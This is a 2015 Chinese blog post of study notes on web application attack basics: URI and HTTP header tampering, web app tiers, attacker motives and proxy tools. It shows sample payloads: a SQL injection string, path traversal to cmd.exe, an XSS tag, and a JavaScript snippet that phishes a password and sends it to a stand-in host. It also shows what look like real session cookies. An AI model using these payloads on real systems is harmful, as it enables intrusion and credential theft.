web安全-入侵基础

注:需先了解HTTP请求头的含义. 在:HTTP 协议详解 中

WEB应用:通过超文本传输协议HTTP访问的应用.

一、Web应用入侵

3种入侵方法:

  a.通过图形化Web界面直接操纵应用.

  b.篡改统一资源标识符(URI).

  c.篡改没有包含在URI中的HTTP元素.

二、GUI Web入侵

  即在web浏览页面中直接操作,如在用户名框中直接输入 :'OR 1=1--

三、URI 入侵

  RFC3986描述了URI(及其子集,包括更常用的术语统一资源定位符(URL))的结构和语法. 其中URI 如下:

    scheme://authority/path?query

  URI描述用于访问服务器(authority)上的一个资源(path)或者应用(query)的协议(scheme).

  注:标准HTTPS(无客户端验证)除了使客户端和服务器之间的通信更难以窃听和干扰以外,对web应用的整体安全性没有任何作用 (其会话数据受SSL或TLS协议保护.)

  服务器:一台或者多台运行HTTP软件的计算机,(通常由其DNS名如www.somesite.com指定的计算机),web 应用协议基本上都是HTTP协议.

  path: 描述了应用文件所在文件夹或者目录的层次结构.
  查询:  包含了需要传递给服务器上保存的应用的可执行文件的参数.如:*.asp,*.aspx,*.php等等

  "?" 右变得部分称为查询串.

  eg: http://server/file.html

    http://server/folder/application?parameter1=value1&parameter2=value2

    http://www.webhackingexposed.com/secret/search.php?input=foo&user=joel

  URI入侵的简单方式:

    https://server/folder/../../../../cmd.exe

    http://server/folder/application?parameter1=aaaaa...256 a's...]

    http://server/foldrer/application?parameter1=<script>'alert'</script>

四、请求头入侵,方法,头和主体

  请求头一般是不可见的,需借助工具才可查看.

  大部分WEB应用只是用两种方法:

     GET和POST,二者都向服务器发送信息,但两者有一个重要的不同点,GET将所有的数据保留在URI(也就是地址栏)中,而POST的请求的主体(body)中放置数据.(在URI中不可见)

    POST请求并没有比GET请求方式更好的保护数据,但是GET在发送数据时更可能在各种地方暴露数据,如客户端缓存web服务器日志

  HTTP头中相关的安全事例:

     Authorization:是否使用某种类型的验证.

    Cache-control:是否将请求的一个副本缓存在中间代理服务器上.

    Referer:列出浏览器到达当前链接的源URI,有时用于早期的容易攻破的验证方案.

    cookies:常用于存储自定义应用验证/会话令牌.

  eg:

GET /cgi-bin/test.cgi HTTP/1.1
Host: analy.qq.com
Connection: keep-alive
Accept: image/webp,image/*,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.99 Safari/537.36
Referer: http://user.qzone.qq.com/99999999/infocenter?ptsig=i0vr2AgUQxZUVtfJM61NgokUZzsuaBgR942HM0swpfo_
Accept-Encoding: gzip, deflate, sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie: luin=o1165121284; lskey=00010000cf24e125aeca588; ptui_loginuin=1165121284; 

 

五、资源,入侵就是为了获取资源

  web应用一般分为三层:

    表示层:一般是超文本表示语言(HTML)生成的静态页面,或者由动态脚本生成。

    逻辑层:负责前台业务和后台数据的交互.

    数据层:诱人的数据,如客户数据,信用卡号码等(这才是最关心的)

  文件类型:

    *.html : as static HTML file

    *.php : a HyperText Preprocessor, or PHP, script

    *.asp : a Microsoft Active Server Pages, or ASP script

    *.aspx : a Microsoft ASP.NET script

  动态脚本可以作为逻辑层,接受输入参数和值.

    http://server/script.php?input1=foo&fnput2=bar (&为两个变量的链接符)

    http://server/script.aspx?date=friday&time=1754

  以下可能是独立的可执行文件而不是脚本,

    http://server/app?input1=foo&input2=bar

六、验证、会话和授权

  HTTP是无状态的,协议本身不维护任何会话状态。

  但是Web开发人员已经试图解决基本协议的这个问题,方法就是采用自己的验证、会话管理和授权功能,来实施某种形式的验证,然后将授权/会话信息隐藏在cookie中来实现.

  

七、Web客户端与HTML

  根据对Web应用的定义,Web应用客户端是能够理解HTTP程序,规范化的Web应用客户端是Web浏览器,它的语言是HTTP(以及其他协议)并用超文本标签语言(HTML)以及其他标记语言表现

  Web浏览器看上去似乎很简单。由于HTML等语言的扩展性,看似静态的Web内容中可以嵌入大量的功能.例:

<html>
<SCRIPT Language="Javascript">
var password = prompt('Your seesion has expired. Please enter your password to continue.',' ');
location.href="https://10.1.1.1/pass.cgi?password="+password;
</SCRIPT>
</html>

  除脚本以外,ActiveX程序、远程映像“Web bugs”以及层叠样式单(css)文件都可以在客户端进行恶意的活动,使用的仅仅是简单的ASCII文本。

  不断增加的客户端技术包括富互联网应用(Rich Internet Application,RIA)、用户生成内容(User-Generated Contents,UGC)、AJAX和移动设备“应用商城”,一场风暴正在兴起.(WEB安全!!!)

八、其他协议

  a.Web分布式创作和版权管理(Web-based Distributed Authoring and Versioning,WebDAV)

    WebDAV在RFC4918中定义,描述了用于远程Web服务器上的多种内容创作和管理机制.  

  b.基于XML的web服务中,简单对象访问协议(SOAP)是基于XML的用于web服务之间消息和RPC风格通信的协议.

  c.以及JavaScript和XML(AJAX)和简易信息聚合(Relly Simple Syndication,RSS),RSS是一种基于XML的轻量级机制,用于在网站和客户端之间动态地反馈变化的“新闻提要”(RSS订阅.)

  d.同源策略(Same-origin Policy),最初期是单个客户和单个网站之间的一种简单关系。现在更复杂.

九、为什么攻击Web应用

  1.普遍存在:今天Web应用无处不在.

  2.简单的技术:大部分基于文本,操作应用输入简单,和攻击复杂的操作系统简直不在一个量级.

  3.匿名性:有很多免责区域(随着发展越来越少),并且大量的HTTP/S代理,使得请求难以追踪.

  4.绕开防火墙:大部分典型的防火墙策略允许入站的HTTP/S.

  5.定制代码:由于Web技术易于理解,门槛低,大部分Web应用由缺乏又经验的开发人员制作.

  6.不成熟的安全性:HTTP甚至没有实施分离单独的会话,许多开发人员在自己编写HTTP的基本验证和授权信息并且会出错.

  7.不断地变化:许多人不断地接触WEB应用,开发人员,系统管理员,内容管理者,普通用户,很少有人受过安全方面的培训,难保会执行相关的安全策略.

  8.钱.

十、谁、何时、何处

  谁,离校的无聊少年,有组织的犯罪。

  何时何处?全天候,所有地方(甚至内部网络)

十一、工具

  Web浏览器、浏览器扩展、HTTP代理和命令行工具.

  1.Web浏览器:篡改浏览器地址栏中的URI文本。

  2.浏览器扩展:IE扩展(TamperIE、IEWatch、IE Headers)。Firefox扩展(LiveHTTPHeaders、TamperData、Modify Headers、)

  3.HTTP代理:HTTP代理能够分析和篡改非浏览器的HTTP客户端,这是浏览器扩展所做不到的。(IEToys)

    Paros Proxy、OWASP WebScarab(包含了HTTP代理、爬虫、会话ID分析、自动化脚本接口、Fuzzer、用于所有流行Web个是【Base64、MD5等】的编码器/解码器工具,以及Web服务描述语言(WSDL)和SOAP解析程序等.)

    ProxMon: 主要目的是自动化完成Web应用渗透测试中乏味的部分,减少工作量.

    Fiddler : 自动配置IE使用它的本地代理,Localhost:8888。其他浏览器需手动配置.

    Burp Intruder : 基于JAVA的HTTP代理。

    Google Ratproxy :是为有经验的安全专家设计的,需要对Web应用安全问题有着充分的理解,能有效地使用它并且理解其输出.

  4.命令行工具:

    Ratproxy: 不建议通过Ratproxy使用Web爬虫或者相似工具,只限于手工测试.

    cURL : 免费的多平台命令行工具,用于操纵HTTP和HTTPS.

    netcat : “瑞士军刀”,将网络通信的原始输入输出转储到命令行.

  5.较老的工具:

    Achilles、#StakeWebProxy、Form Scallpel、WASAT(web验证分析工具)以及WebSleuth

    一般来说,越现代的工具越好.

十二、参考与延伸阅读

RFC索引搜索引擎 http://www.rfc-editor.org/rfcsearch.html
HTTP1.0 RFC1945
HTTP1.1 RFC2616
HTTP“Origin”首部 https://wiki.mozilla.org/Security/Origin
HTML http://en.wikipedia/wiki/HTML
HTML5 http://en.wikipedia/wiki/HTML5
统一资源标识符(URI)

http://tools.ietf.org/html/rfc3986

http://en.wikipedia.org/wiki/Uniform_Resource_Identifier

HTTPS http://en.wikipedia.org/wiki/HTTPS
SSL(安全套接字层) http://wp.netscape.com/eng/ssl3
TLS(传输层安全) http://www.ietf.org/rfc/rfc2246.txt
可扩展性标记语言(XML) http://www.w3.org/XML/
WSDL http://www.w3.org/TR/wsdl
UDDI http://www.uddi.org
SOAP http://www.w3.org/TR/SOAP
WebGL http://en.wikipedia.org/wiki/WebGL
Google Native Client(Naci) http://en.wikipedia.org/wiki/Google_Native_Client

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

OWASP Top10  http://www.owasp.org/documentation/topten.html

posted @ 2015-09-25 21:19  超超xc  Views(400)  Comments(0Edit  收藏  举报
I suppose,were childrenonec.